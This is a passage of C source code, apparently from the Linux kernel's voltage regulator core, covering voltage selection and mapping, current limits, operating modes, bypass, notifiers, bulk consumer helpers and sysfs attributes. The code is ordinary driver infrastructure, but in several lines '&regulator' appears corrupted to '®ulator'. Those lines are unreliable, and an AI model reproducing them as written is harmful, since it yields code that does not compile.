* vsel_reg and vsel_mask fields in their descriptor and then use this
* as their set_voltage_vsel operation, saving some code.
*/
int regulator_set_voltage_sel_regmap(struct regulator_dev *rdev, unsigned sel)
{
int ret;
sel <<= ffs(rdev->desc->vsel_mask) - 1;
ret = regmap_update_bits(rdev->regmap, rdev->desc->vsel_reg,
rdev->desc->vsel_mask, sel);
if (ret)
return ret;
if (rdev->desc->apply_bit)
ret = regmap_update_bits(rdev->regmap, rdev->desc->apply_reg,
rdev->desc->apply_bit,
rdev->desc->apply_bit);
return ret;
}
EXPORT_SYMBOL_GPL(regulator_set_voltage_sel_regmap);
/**
* regulator_map_voltage_iterate - map_voltage() based on list_voltage()
*
* @rdev: Regulator to operate on
* @min_uV: Lower bound for voltage
* @max_uV: Upper bound for voltage
*
* Drivers implementing set_voltage_sel() and list_voltage() can use
* this as their map_voltage() operation. It will find a suitable
* voltage by calling list_voltage() until it gets something in bounds
* for the requested voltages.
*/
int regulator_map_voltage_iterate(struct regulator_dev *rdev,
int min_uV, int max_uV)
{
int best_val = INT_MAX;
int selector = 0;
int i, ret;
/* Find the smallest voltage that falls within the specified
* range.
*/
for (i = 0; i < rdev->desc->n_voltages; i++) {
ret = rdev->desc->ops->list_voltage(rdev, i);
if (ret < 0)
continue;
if (ret < best_val && ret >= min_uV && ret <= max_uV) {
best_val = ret;
selector = i;
}
}
if (best_val != INT_MAX)
return selector;
else
return -EINVAL;
}
EXPORT_SYMBOL_GPL(regulator_map_voltage_iterate);
/**
* regulator_map_voltage_ascend - map_voltage() for ascendant voltage list
*
* @rdev: Regulator to operate on
* @min_uV: Lower bound for voltage
* @max_uV: Upper bound for voltage
*
* Drivers that have ascendant voltage list can use this as their
* map_voltage() operation.
*/
int regulator_map_voltage_ascend(struct regulator_dev *rdev,
int min_uV, int max_uV)
{
int i, ret;
for (i = 0; i < rdev->desc->n_voltages; i++) {
ret = rdev->desc->ops->list_voltage(rdev, i);
if (ret < 0)
continue;
if (ret > max_uV)
break;
if (ret >= min_uV && ret <= max_uV)
return i;
}
return -EINVAL;
}
EXPORT_SYMBOL_GPL(regulator_map_voltage_ascend);
/**
* regulator_map_voltage_linear - map_voltage() for simple linear mappings
*
* @rdev: Regulator to operate on
* @min_uV: Lower bound for voltage
* @max_uV: Upper bound for voltage
*
* Drivers providing min_uV and uV_step in their regulator_desc can
* use this as their map_voltage() operation.
*/
int regulator_map_voltage_linear(struct regulator_dev *rdev,
int min_uV, int max_uV)
{
int ret, voltage;
/* Allow uV_step to be 0 for fixed voltage */
if (rdev->desc->n_voltages == 1 && rdev->desc->uV_step == 0) {
if (min_uV <= rdev->desc->min_uV && rdev->desc->min_uV <= max_uV)
return 0;
else
return -EINVAL;
}
if (!rdev->desc->uV_step) {
BUG_ON(!rdev->desc->uV_step);
return -EINVAL;
}
if (min_uV < rdev->desc->min_uV)
min_uV = rdev->desc->min_uV;
ret = DIV_ROUND_UP(min_uV - rdev->desc->min_uV, rdev->desc->uV_step);
if (ret < 0)
return ret;
ret += rdev->desc->linear_min_sel;
/* Map back into a voltage to verify we're still in bounds */
voltage = rdev->desc->ops->list_voltage(rdev, ret);
if (voltage < min_uV || voltage > max_uV)
return -EINVAL;
return ret;
}
EXPORT_SYMBOL_GPL(regulator_map_voltage_linear);
static int _regulator_do_set_voltage(struct regulator_dev *rdev,
int min_uV, int max_uV)
{
int ret;
int delay = 0;
int best_val = 0;
unsigned int selector;
int old_selector = -1;
trace_regulator_set_voltage(rdev_get_name(rdev), min_uV, max_uV);
min_uV += rdev->constraints->uV_offset;
max_uV += rdev->constraints->uV_offset;
/*
* If we can't obtain the old selector there is not enough
* info to call set_voltage_time_sel().
*/
if (_regulator_is_enabled(rdev) &&
rdev->desc->ops->set_voltage_time_sel &&
rdev->desc->ops->get_voltage_sel) {
old_selector = rdev->desc->ops->get_voltage_sel(rdev);
if (old_selector < 0)
return old_selector;
}
if (rdev->desc->ops->set_voltage) {
ret = rdev->desc->ops->set_voltage(rdev, min_uV, max_uV,
&selector);
if (ret >= 0) {
if (rdev->desc->ops->list_voltage)
best_val = rdev->desc->ops->list_voltage(rdev,
selector);
else
best_val = _regulator_get_voltage(rdev);
}
} else if (rdev->desc->ops->set_voltage_sel) {
if (rdev->desc->ops->map_voltage) {
ret = rdev->desc->ops->map_voltage(rdev, min_uV,
max_uV);
} else {
if (rdev->desc->ops->list_voltage ==
regulator_list_voltage_linear)
ret = regulator_map_voltage_linear(rdev,
min_uV, max_uV);
else
ret = regulator_map_voltage_iterate(rdev,
min_uV, max_uV);
}
if (ret >= 0) {
best_val = rdev->desc->ops->list_voltage(rdev, ret);
if (min_uV <= best_val && max_uV >= best_val) {
selector = ret;
if (old_selector == selector)
ret = 0;
else
ret = rdev->desc->ops->set_voltage_sel(
rdev, ret);
} else {
ret = -EINVAL;
}
}
} else {
ret = -EINVAL;
}
/* Call set_voltage_time_sel if successfully obtained old_selector */
if (ret == 0 && _regulator_is_enabled(rdev) && old_selector >= 0 &&
old_selector != selector && rdev->desc->ops->set_voltage_time_sel) {
delay = rdev->desc->ops->set_voltage_time_sel(rdev,
old_selector, selector);
if (delay < 0) {
rdev_warn(rdev, "set_voltage_time_sel() failed: %d\n",
delay);
delay = 0;
}
/* Insert any necessary delays */
if (delay >= 1000) {
mdelay(delay / 1000);
udelay(delay % 1000);
} else if (delay) {
udelay(delay);
}
}
if (ret == 0 && best_val >= 0) {
unsigned long data = best_val;
_notifier_call_chain(rdev, REGULATOR_EVENT_VOLTAGE_CHANGE,
(void *)data);
}
trace_regulator_set_voltage_complete(rdev_get_name(rdev), best_val);
return ret;
}
/**
* regulator_set_voltage - set regulator output voltage
* @regulator: regulator source
* @min_uV: Minimum required voltage in uV
* @max_uV: Maximum acceptable voltage in uV
*
* Sets a voltage regulator to the desired output voltage. This can be set
* during any regulator state. IOW, regulator can be disabled or enabled.
*
* If the regulator is enabled then the voltage will change to the new value
* immediately otherwise if the regulator is disabled the regulator will
* output at the new voltage when enabled.
*
* NOTE: If the regulator is shared between several devices then the lowest
* request voltage that meets the system constraints will be used.
* Regulator system constraints must be set for this regulator before
* calling this function otherwise this call will fail.
*/
int regulator_set_voltage(struct regulator *regulator, int min_uV, int max_uV)
{
struct regulator_dev *rdev = regulator->rdev;
int ret = 0;
int old_min_uV, old_max_uV;
mutex_lock(&rdev->mutex);
/* If we're setting the same range as last time the change
* should be a noop (some cpufreq implementations use the same
* voltage for multiple frequencies, for example).
*/
if (regulator->min_uV == min_uV && regulator->max_uV == max_uV)
goto out;
/* sanity check */
if (!rdev->desc->ops->set_voltage &&
!rdev->desc->ops->set_voltage_sel) {
ret = -EINVAL;
goto out;
}
/* constraints check */
ret = regulator_check_voltage(rdev, &min_uV, &max_uV);
if (ret < 0)
goto out;
/* restore original values in case of error */
old_min_uV = regulator->min_uV;
old_max_uV = regulator->max_uV;
regulator->min_uV = min_uV;
regulator->max_uV = max_uV;
ret = regulator_check_consumers(rdev, &min_uV, &max_uV);
if (ret < 0)
goto out2;
ret = _regulator_do_set_voltage(rdev, min_uV, max_uV);
if (ret < 0)
goto out2;
out:
mutex_unlock(&rdev->mutex);
return ret;
out2:
regulator->min_uV = old_min_uV;
regulator->max_uV = old_max_uV;
mutex_unlock(&rdev->mutex);
return ret;
}
EXPORT_SYMBOL_GPL(regulator_set_voltage);
/**
* regulator_set_voltage_time - get raise/fall time
* @regulator: regulator source
* @old_uV: starting voltage in microvolts
* @new_uV: target voltage in microvolts
*
* Provided with the starting and ending voltage, this function attempts to
* calculate the time in microseconds required to rise or fall to this new
* voltage.
*/
int regulator_set_voltage_time(struct regulator *regulator,
int old_uV, int new_uV)
{
struct regulator_dev *rdev = regulator->rdev;
struct regulator_ops *ops = rdev->desc->ops;
int old_sel = -1;
int new_sel = -1;
int voltage;
int i;
/* Currently requires operations to do this */
if (!ops->list_voltage || !ops->set_voltage_time_sel
|| !rdev->desc->n_voltages)
return -EINVAL;
for (i = 0; i < rdev->desc->n_voltages; i++) {
/* We only look for exact voltage matches here */
voltage = regulator_list_voltage(regulator, i);
if (voltage < 0)
return -EINVAL;
if (voltage == 0)
continue;
if (voltage == old_uV)
old_sel = i;
if (voltage == new_uV)
new_sel = i;
}
if (old_sel < 0 || new_sel < 0)
return -EINVAL;
return ops->set_voltage_time_sel(rdev, old_sel, new_sel);
}
EXPORT_SYMBOL_GPL(regulator_set_voltage_time);
/**
* regulator_set_voltage_time_sel - get raise/fall time
* @rdev: regulator source device
* @old_selector: selector for starting voltage
* @new_selector: selector for target voltage
*
* Provided with the starting and target voltage selectors, this function
* returns time in microseconds required to rise or fall to this new voltage
*
* Drivers providing ramp_delay in regulation_constraints can use this as their
* set_voltage_time_sel() operation.
*/
int regulator_set_voltage_time_sel(struct regulator_dev *rdev,
unsigned int old_selector,
unsigned int new_selector)
{
unsigned int ramp_delay = 0;
int old_volt, new_volt;
if (rdev->constraints->ramp_delay)
ramp_delay = rdev->constraints->ramp_delay;
else if (rdev->desc->ramp_delay)
ramp_delay = rdev->desc->ramp_delay;
if (ramp_delay == 0) {
rdev_warn(rdev, "ramp_delay not set\n");
return 0;
}
/* sanity check */
if (!rdev->desc->ops->list_voltage)
return -EINVAL;
old_volt = rdev->desc->ops->list_voltage(rdev, old_selector);
new_volt = rdev->desc->ops->list_voltage(rdev, new_selector);
return DIV_ROUND_UP(abs(new_volt - old_volt), ramp_delay);
}
EXPORT_SYMBOL_GPL(regulator_set_voltage_time_sel);
/**
* regulator_sync_voltage - re-apply last regulator output voltage
* @regulator: regulator source
*
* Re-apply the last configured voltage. This is intended to be used
* where some external control source the consumer is cooperating with
* has caused the configured voltage to change.
*/
int regulator_sync_voltage(struct regulator *regulator)
{
struct regulator_dev *rdev = regulator->rdev;
int ret, min_uV, max_uV;
mutex_lock(&rdev->mutex);
if (!rdev->desc->ops->set_voltage &&
!rdev->desc->ops->set_voltage_sel) {
ret = -EINVAL;
goto out;
}
/* This is only going to work if we've had a voltage configured. */
if (!regulator->min_uV && !regulator->max_uV) {
ret = -EINVAL;
goto out;
}
min_uV = regulator->min_uV;
max_uV = regulator->max_uV;
/* This should be a paranoia check... */
ret = regulator_check_voltage(rdev, &min_uV, &max_uV);
if (ret < 0)
goto out;
ret = regulator_check_consumers(rdev, &min_uV, &max_uV);
if (ret < 0)
goto out;
ret = _regulator_do_set_voltage(rdev, min_uV, max_uV);
out:
mutex_unlock(&rdev->mutex);
return ret;
}
EXPORT_SYMBOL_GPL(regulator_sync_voltage);
static int _regulator_get_voltage(struct regulator_dev *rdev)
{
int sel, ret;
if (rdev->desc->ops->get_voltage_sel) {
sel = rdev->desc->ops->get_voltage_sel(rdev);
if (sel < 0)
return sel;
ret = rdev->desc->ops->list_voltage(rdev, sel);
} else if (rdev->desc->ops->get_voltage) {
ret = rdev->desc->ops->get_voltage(rdev);
} else if (rdev->desc->ops->list_voltage) {
ret = rdev->desc->ops->list_voltage(rdev, 0);
} else {
return -EINVAL;
}
if (ret < 0)
return ret;
return ret - rdev->constraints->uV_offset;
}
/**
* regulator_get_voltage - get regulator output voltage
* @regulator: regulator source
*
* This returns the current regulator voltage in uV.
*
* NOTE: If the regulator is disabled it will return the voltage value. This
* function should not be used to determine regulator state.
*/
int regulator_get_voltage(struct regulator *regulator)
{
int ret;
mutex_lock(®ulator->rdev->mutex);
ret = _regulator_get_voltage(regulator->rdev);
mutex_unlock(®ulator->rdev->mutex);
return ret;
}
EXPORT_SYMBOL_GPL(regulator_get_voltage);
/**
* regulator_set_current_limit - set regulator output current limit
* @regulator: regulator source
* @min_uA: Minimum supported current in uA
* @max_uA: Maximum supported current in uA
*
* Sets current sink to the desired output current. This can be set during
* any regulator state. IOW, regulator can be disabled or enabled.
*
* If the regulator is enabled then the current will change to the new value
* immediately otherwise if the regulator is disabled the regulator will
* output at the new current when enabled.
*
* NOTE: Regulator system constraints must be set for this regulator before
* calling this function otherwise this call will fail.
*/
int regulator_set_current_limit(struct regulator *regulator,
int min_uA, int max_uA)
{
struct regulator_dev *rdev = regulator->rdev;
int ret;
mutex_lock(&rdev->mutex);
/* sanity check */
if (!rdev->desc->ops->set_current_limit) {
ret = -EINVAL;
goto out;
}
/* constraints check */
ret = regulator_check_current_limit(rdev, &min_uA, &max_uA);
if (ret < 0)
goto out;
ret = rdev->desc->ops->set_current_limit(rdev, min_uA, max_uA);
out:
mutex_unlock(&rdev->mutex);
return ret;
}
EXPORT_SYMBOL_GPL(regulator_set_current_limit);
static int _regulator_get_current_limit(struct regulator_dev *rdev)
{
int ret;
mutex_lock(&rdev->mutex);
/* sanity check */
if (!rdev->desc->ops->get_current_limit) {
ret = -EINVAL;
goto out;
}
ret = rdev->desc->ops->get_current_limit(rdev);
out:
mutex_unlock(&rdev->mutex);
return ret;
}
/**
* regulator_get_current_limit - get regulator output current
* @regulator: regulator source
*
* This returns the current supplied by the specified current sink in uA.
*
* NOTE: If the regulator is disabled it will return the current value. This
* function should not be used to determine regulator state.
*/
int regulator_get_current_limit(struct regulator *regulator)
{
return _regulator_get_current_limit(regulator->rdev);
}
EXPORT_SYMBOL_GPL(regulator_get_current_limit);
/**
* regulator_set_mode - set regulator operating mode
* @regulator: regulator source
* @mode: operating mode - one of the REGULATOR_MODE constants
*
* Set regulator operating mode to increase regulator efficiency or improve
* regulation performance.
*
* NOTE: Regulator system constraints must be set for this regulator before
* calling this function otherwise this call will fail.
*/
int regulator_set_mode(struct regulator *regulator, unsigned int mode)
{
struct regulator_dev *rdev = regulator->rdev;
int ret;
int regulator_curr_mode;
mutex_lock(&rdev->mutex);
/* sanity check */
if (!rdev->desc->ops->set_mode) {
ret = -EINVAL;
goto out;
}
/* return if the same mode is requested */
if (rdev->desc->ops->get_mode) {
regulator_curr_mode = rdev->desc->ops->get_mode(rdev);
if (regulator_curr_mode == mode) {
ret = 0;
goto out;
}
}
/* constraints check */
ret = regulator_mode_constrain(rdev, &mode);
if (ret < 0)
goto out;
ret = rdev->desc->ops->set_mode(rdev, mode);
out:
mutex_unlock(&rdev->mutex);
return ret;
}
EXPORT_SYMBOL_GPL(regulator_set_mode);
static unsigned int _regulator_get_mode(struct regulator_dev *rdev)
{
int ret;
mutex_lock(&rdev->mutex);
/* sanity check */
if (!rdev->desc->ops->get_mode) {
ret = -EINVAL;
goto out;
}
ret = rdev->desc->ops->get_mode(rdev);
out:
mutex_unlock(&rdev->mutex);
return ret;
}
/**
* regulator_get_mode - get regulator operating mode
* @regulator: regulator source
*
* Get the current regulator operating mode.
*/
unsigned int regulator_get_mode(struct regulator *regulator)
{
return _regulator_get_mode(regulator->rdev);
}
EXPORT_SYMBOL_GPL(regulator_get_mode);
/**
* regulator_set_optimum_mode - set regulator optimum operating mode
* @regulator: regulator source
* @uA_load: load current
*
* Notifies the regulator core of a new device load. This is then used by
* DRMS (if enabled by constraints) to set the most efficient regulator
* operating mode for the new regulator loading.
*
* Consumer devices notify their supply regulator of the maximum power
* they will require (can be taken from device datasheet in the power
* consumption tables) when they change operational status and hence power
* state. Examples of operational state changes that can affect power
* consumption are :-
*
* o Device is opened / closed.
* o Device I/O is about to begin or has just finished.
* o Device is idling in between work.
*
* This information is also exported via sysfs to userspace.
*
* DRMS will sum the total requested load on the regulator and change
* to the most efficient operating mode if platform constraints allow.
*
* Returns the new regulator mode or error.
*/
int regulator_set_optimum_mode(struct regulator *regulator, int uA_load)
{
struct regulator_dev *rdev = regulator->rdev;
struct regulator *consumer;
int ret, output_uV, input_uV = 0, total_uA_load = 0;
unsigned int mode;
if (rdev->supply)
input_uV = regulator_get_voltage(rdev->supply);
mutex_lock(&rdev->mutex);
/*
* first check to see if we can set modes at all, otherwise just
* tell the consumer everything is OK.
*/
regulator->uA_load = uA_load;
ret = regulator_check_drms(rdev);
if (ret < 0) {
ret = 0;
goto out;
}
if (!rdev->desc->ops->get_optimum_mode)
goto out;
/*
* we can actually do this so any errors are indicators of
* potential real failure.
*/
ret = -EINVAL;
if (!rdev->desc->ops->set_mode)
goto out;
/* get output voltage */
output_uV = _regulator_get_voltage(rdev);
if (output_uV <= 0) {
rdev_err(rdev, "invalid output voltage found\n");
goto out;
}
/* No supply? Use constraint voltage */
if (input_uV <= 0)
input_uV = rdev->constraints->input_uV;
if (input_uV <= 0) {
rdev_err(rdev, "invalid input voltage found\n");
goto out;
}
/* calc total requested load for this regulator */
list_for_each_entry(consumer, &rdev->consumer_list, list)
total_uA_load += consumer->uA_load;
mode = rdev->desc->ops->get_optimum_mode(rdev,
input_uV, output_uV,
total_uA_load);
ret = regulator_mode_constrain(rdev, &mode);
if (ret < 0) {
rdev_err(rdev, "failed to get optimum mode @ %d uA %d -> %d uV\n",
total_uA_load, input_uV, output_uV);
goto out;
}
ret = rdev->desc->ops->set_mode(rdev, mode);
if (ret < 0) {
rdev_err(rdev, "failed to set optimum mode %x\n", mode);
goto out;
}
ret = mode;
out:
mutex_unlock(&rdev->mutex);
return ret;
}
EXPORT_SYMBOL_GPL(regulator_set_optimum_mode);
/**
* regulator_set_bypass_regmap - Default set_bypass() using regmap
*
* @rdev: device to operate on.
* @enable: state to set.
*/
int regulator_set_bypass_regmap(struct regulator_dev *rdev, bool enable)
{
unsigned int val;
if (enable)
val = rdev->desc->bypass_mask;
else
val = 0;
return regmap_update_bits(rdev->regmap, rdev->desc->bypass_reg,
rdev->desc->bypass_mask, val);
}
EXPORT_SYMBOL_GPL(regulator_set_bypass_regmap);
/**
* regulator_get_bypass_regmap - Default get_bypass() using regmap
*
* @rdev: device to operate on.
* @enable: current state.
*/
int regulator_get_bypass_regmap(struct regulator_dev *rdev, bool *enable)
{
unsigned int val;
int ret;
ret = regmap_read(rdev->regmap, rdev->desc->bypass_reg, &val);
if (ret != 0)
return ret;
*enable = val & rdev->desc->bypass_mask;
return 0;
}
EXPORT_SYMBOL_GPL(regulator_get_bypass_regmap);
/**
* regulator_allow_bypass - allow the regulator to go into bypass mode
*
* @regulator: Regulator to configure
* @enable: enable or disable bypass mode
*
* Allow the regulator to go into bypass mode if all other consumers
* for the regulator also enable bypass mode and the machine
* constraints allow this. Bypass mode means that the regulator is
* simply passing the input directly to the output with no regulation.
*/
int regulator_allow_bypass(struct regulator *regulator, bool enable)
{
struct regulator_dev *rdev = regulator->rdev;
int ret = 0;
if (!rdev->desc->ops->set_bypass)
return 0;
if (rdev->constraints &&
!(rdev->constraints->valid_ops_mask & REGULATOR_CHANGE_BYPASS))
return 0;
mutex_lock(&rdev->mutex);
if (enable && !regulator->bypass) {
rdev->bypass_count++;
if (rdev->bypass_count == rdev->open_count) {
ret = rdev->desc->ops->set_bypass(rdev, enable);
if (ret != 0)
rdev->bypass_count--;
}
} else if (!enable && regulator->bypass) {
rdev->bypass_count--;
if (rdev->bypass_count != rdev->open_count) {
ret = rdev->desc->ops->set_bypass(rdev, enable);
if (ret != 0)
rdev->bypass_count++;
}
}
if (ret == 0)
regulator->bypass = enable;
mutex_unlock(&rdev->mutex);
return ret;
}
EXPORT_SYMBOL_GPL(regulator_allow_bypass);
/**
* regulator_register_notifier - register regulator event notifier
* @regulator: regulator source
* @nb: notifier block
*
* Register notifier block to receive regulator events.
*/
int regulator_register_notifier(struct regulator *regulator,
struct notifier_block *nb)
{
return blocking_notifier_chain_register(®ulator->rdev->notifier,
nb);
}
EXPORT_SYMBOL_GPL(regulator_register_notifier);
/**
* regulator_unregister_notifier - unregister regulator event notifier
* @regulator: regulator source
* @nb: notifier block
*
* Unregister regulator event notifier block.
*/
int regulator_unregister_notifier(struct regulator *regulator,
struct notifier_block *nb)
{
return blocking_notifier_chain_unregister(®ulator->rdev->notifier,
nb);
}
EXPORT_SYMBOL_GPL(regulator_unregister_notifier);
/* notify regulator consumers and downstream regulator consumers.
* Note mutex must be held by caller.
*/
static void _notifier_call_chain(struct regulator_dev *rdev,
unsigned long event, void *data)
{
/* call rdev chain first */
blocking_notifier_call_chain(&rdev->notifier, event, data);
}
/**
* regulator_bulk_get - get multiple regulator consumers
*
* @dev: Device to supply
* @num_consumers: Number of consumers to register
* @consumers: Configuration of consumers; clients are stored here.
*
* @return 0 on success, an errno on failure.
*
* This helper function allows drivers to get several regulator
* consumers in one operation. If any of the regulators cannot be
* acquired then any regulators that were allocated will be freed
* before returning to the caller.
*/
int regulator_bulk_get(struct device *dev, int num_consumers,
struct regulator_bulk_data *consumers)
{
int i;
int ret;
for (i = 0; i < num_consumers; i++)
consumers[i].consumer = NULL;
for (i = 0; i < num_consumers; i++) {
consumers[i].consumer = regulator_get(dev,
consumers[i].supply);
if (IS_ERR(consumers[i].consumer)) {
ret = PTR_ERR(consumers[i].consumer);
dev_err(dev, "Failed to get supply '%s': %d\n",
consumers[i].supply, ret);
consumers[i].consumer = NULL;
goto err;
}
}
return 0;
err:
while (--i >= 0)
regulator_put(consumers[i].consumer);
return ret;
}
EXPORT_SYMBOL_GPL(regulator_bulk_get);
/**
* devm_regulator_bulk_get - managed get multiple regulator consumers
*
* @dev: Device to supply
* @num_consumers: Number of consumers to register
* @consumers: Configuration of consumers; clients are stored here.
*
* @return 0 on success, an errno on failure.
*
* This helper function allows drivers to get several regulator
* consumers in one operation with management, the regulators will
* automatically be freed when the device is unbound. If any of the
* regulators cannot be acquired then any regulators that were
* allocated will be freed before returning to the caller.
*/
int devm_regulator_bulk_get(struct device *dev, int num_consumers,
struct regulator_bulk_data *consumers)
{
int i;
int ret;
for (i = 0; i < num_consumers; i++)
consumers[i].consumer = NULL;
for (i = 0; i < num_consumers; i++) {
consumers[i].consumer = devm_regulator_get(dev,
consumers[i].supply);
if (IS_ERR(consumers[i].consumer)) {
ret = PTR_ERR(consumers[i].consumer);
dev_err(dev, "Failed to get supply '%s': %d\n",
consumers[i].supply, ret);
consumers[i].consumer = NULL;
goto err;
}
}
return 0;
err:
for (i = 0; i < num_consumers && consumers[i].consumer; i++)
devm_regulator_put(consumers[i].consumer);
return ret;
}
EXPORT_SYMBOL_GPL(devm_regulator_bulk_get);
static void regulator_bulk_enable_async(void *data, async_cookie_t cookie)
{
struct regulator_bulk_data *bulk = data;
bulk->ret = regulator_enable(bulk->consumer);
}
/**
* regulator_bulk_enable - enable multiple regulator consumers
*
* @num_consumers: Number of consumers
* @consumers: Consumer data; clients are stored here.
* @return 0 on success, an errno on failure
*
* This convenience API allows consumers to enable multiple regulator
* clients in a single API call. If any consumers cannot be enabled
* then any others that were enabled will be disabled again prior to
* return.
*/
int regulator_bulk_enable(int num_consumers,
struct regulator_bulk_data *consumers)
{
ASYNC_DOMAIN_EXCLUSIVE(async_domain);
int i;
int ret = 0;
for (i = 0; i < num_consumers; i++) {
if (consumers[i].consumer->always_on)
consumers[i].ret = 0;
else
async_schedule_domain(regulator_bulk_enable_async,
&consumers[i], &async_domain);
}
async_synchronize_full_domain(&async_domain);
/* If any consumer failed we need to unwind any that succeeded */
for (i = 0; i < num_consumers; i++) {
if (consumers[i].ret != 0) {
ret = consumers[i].ret;
goto err;
}
}
return 0;
err:
for (i = 0; i < num_consumers; i++) {
if (consumers[i].ret < 0)
pr_err("Failed to enable %s: %d\n", consumers[i].supply,
consumers[i].ret);
else
regulator_disable(consumers[i].consumer);
}
return ret;
}
EXPORT_SYMBOL_GPL(regulator_bulk_enable);
/**
* regulator_bulk_set_voltage - set voltage for multiple regulator consumers
*
* @num_consumers: Number of consumers
* @consumers: Consumer data; clients are stored here.
* @return 0 on success, an errno on failure
*
* This convenience API allows the voted voltage ranges of multiple regulator
* clients to be set in a single API call. If any consumers cannot have their
* voltages set, this function returns WITHOUT withdrawing votes for any
* consumers that have already been set.
*/
int regulator_bulk_set_voltage(int num_consumers,
struct regulator_bulk_data *consumers)
{
int i;
int rc;
for (i = 0; i < num_consumers; i++) {
if (!consumers[i].min_uV && !consumers[i].max_uV)
continue;
rc = regulator_set_voltage(consumers[i].consumer,
consumers[i].min_uV,
consumers[i].max_uV);
if (rc)
goto err;
}
return 0;
err:
pr_err("Failed to set voltage for %s: %d\n", consumers[i].supply, rc);
return rc;
}
EXPORT_SYMBOL_GPL(regulator_bulk_set_voltage);
/**
* regulator_bulk_disable - disable multiple regulator consumers
*
* @num_consumers: Number of consumers
* @consumers: Consumer data; clients are stored here.
* @return 0 on success, an errno on failure
*
* This convenience API allows consumers to disable multiple regulator
* clients in a single API call. If any consumers cannot be disabled
* then any others that were disabled will be enabled again prior to
* return.
*/
int regulator_bulk_disable(int num_consumers,
struct regulator_bulk_data *consumers)
{
int i;
int ret, r;
for (i = num_consumers - 1; i >= 0; --i) {
ret = regulator_disable(consumers[i].consumer);
if (ret != 0)
goto err;
}
return 0;
err:
pr_err("Failed to disable %s: %d\n", consumers[i].supply, ret);
for (++i; i < num_consumers; ++i) {
r = regulator_enable(consumers[i].consumer);
if (r != 0)
pr_err("Failed to reename %s: %d\n",
consumers[i].supply, r);
}
return ret;
}
EXPORT_SYMBOL_GPL(regulator_bulk_disable);
/**
* regulator_bulk_force_disable - force disable multiple regulator consumers
*
* @num_consumers: Number of consumers
* @consumers: Consumer data; clients are stored here.
* @return 0 on success, an errno on failure
*
* This convenience API allows consumers to forcibly disable multiple regulator
* clients in a single API call.
* NOTE: This should be used for situations when device damage will
* likely occur if the regulators are not disabled (e.g. over temp).
* Although regulator_force_disable function call for some consumers can
* return error numbers, the function is called for all consumers.
*/
int regulator_bulk_force_disable(int num_consumers,
struct regulator_bulk_data *consumers)
{
int i;
int ret;
for (i = 0; i < num_consumers; i++)
consumers[i].ret =
regulator_force_disable(consumers[i].consumer);
for (i = 0; i < num_consumers; i++) {
if (consumers[i].ret != 0) {
ret = consumers[i].ret;
goto out;
}
}
return 0;
out:
return ret;
}
EXPORT_SYMBOL_GPL(regulator_bulk_force_disable);
/**
* regulator_bulk_free - free multiple regulator consumers
*
* @num_consumers: Number of consumers
* @consumers: Consumer data; clients are stored here.
*
* This convenience API allows consumers to free multiple regulator
* clients in a single API call.
*/
void regulator_bulk_free(int num_consumers,
struct regulator_bulk_data *consumers)
{
int i;
for (i = 0; i < num_consumers; i++) {
regulator_put(consumers[i].consumer);
consumers[i].consumer = NULL;
}
}
EXPORT_SYMBOL_GPL(regulator_bulk_free);
/**
* regulator_notifier_call_chain - call regulator event notifier
* @rdev: regulator source
* @event: notifier block
* @data: callback-specific data.
*
* Called by regulator drivers to notify clients a regulator event has
* occurred. We also notify regulator clients downstream.
* Note lock must be held by caller.
*/
int regulator_notifier_call_chain(struct regulator_dev *rdev,
unsigned long event, void *data)
{
_notifier_call_chain(rdev, event, data);
return NOTIFY_DONE;
}
EXPORT_SYMBOL_GPL(regulator_notifier_call_chain);
/**
* regulator_mode_to_status - convert a regulator mode into a status
*
* @mode: Mode to convert
*
* Convert a regulator mode into a status.
*/
int regulator_mode_to_status(unsigned int mode)
{
switch (mode) {
case REGULATOR_MODE_FAST:
return REGULATOR_STATUS_FAST;
case REGULATOR_MODE_NORMAL:
return REGULATOR_STATUS_NORMAL;
case REGULATOR_MODE_IDLE:
return REGULATOR_STATUS_IDLE;
case REGULATOR_MODE_STANDBY:
return REGULATOR_STATUS_STANDBY;
default:
return REGULATOR_STATUS_UNDEFINED;
}
}
EXPORT_SYMBOL_GPL(regulator_mode_to_status);
/*
* To avoid cluttering sysfs (and memory) with useless state, only
* create attributes that can be meaningfully displayed.
*/
static int add_regulator_attributes(struct regulator_dev *rdev)
{
struct device *dev = &rdev->dev;
struct regulator_ops *ops = rdev->desc->ops;
int status = 0;
/* some attributes need specific methods to be displayed */
if ((ops->get_voltage && ops->get_voltage(rdev) >= 0) ||
(ops->get_voltage_sel && ops->get_voltage_sel(rdev) >= 0) ||
(ops->list_voltage && ops->list_voltage(rdev, 0) >= 0)) {
status = device_create_file(dev, &dev_attr_microvolts);
if (status < 0)
return status;
}
if (ops->get_current_limit) {
status = device_create_file(dev, &dev_attr_microamps);
if (status < 0)
return status;
}
if (ops->get_mode) {
status = device_create_file(dev, &dev_attr_opmode);
if (status < 0)
return status;
}
if (rdev->ena_pin || ops->is_enabled) {
status = device_create_file(dev, &dev_attr_state);
if (status < 0)
return status;
}
if (ops->get_status) {
status = device_create_file(dev, &dev_attr_status);
if (status < 0)
return status;
}
if (ops->get_bypass) {
status = device_create_file(dev, &dev_attr_bypass);
if (status < 0)
return status;
}
/* some attributes are type-specific */
if (rdev->desc->type == REGULATOR_CURRENT) {
status = device_create_file(dev, &dev_attr_requested_microamps);
if (status < 0)
return status;
}
/* all the other attributes exist to support constraints;
* don't show them if there are no constraints, or if the
* relevant supporting methods are missing.
*/
if (!rdev->constraints)
return status;
/* constraints need specific supporting methods */
if (ops->set_voltage || ops->set_voltage_sel) {
status = device_create_file(dev, &dev_attr_min_microvolts);
if (status < 0)
return status;
status = device_create_file(dev, &dev_attr_max_microvolts);
if (status < 0)
return status;
}
if (ops->set_current_limit) {
status = device_create_file(dev, &dev_attr_min_microamps);
if (status < 0)
return status;
status = device_create_file(dev, &dev_attr_max_microamps);
if (status < 0)
return status;
}
status = device_create_file(dev, &dev_attr_suspend_standby_state);
if (status < 0)
return status;
status = device_create_file(dev, &dev_attr_suspend_mem_state);
if (status < 0)
return status;
status = device_create_file(dev, &dev_attr_suspend_disk_state);
if (status < 0)
return status;
if (ops->set_suspend_voltage) {
status = device_create_file(dev,
&dev_attr_suspend_standby_microvolts);
if (status < 0)
return status;
status = device_create_file(dev,
&dev_attr_suspend_mem_microvolts);
if (status < 0)
return status;
status = device_create_file(dev,
&dev_attr_suspend_disk_microvolts);
if (status < 0)
return status;
}
if (ops->set_suspend_mode) {
status = device_create_file(dev,
&dev_attr_suspend_standby_mode);
if (status < 0)
return status;
status = device_create_file(dev,
&dev_attr_suspend_mem_mode);
if (status < 0)
return status;
status = device_create_file(dev,
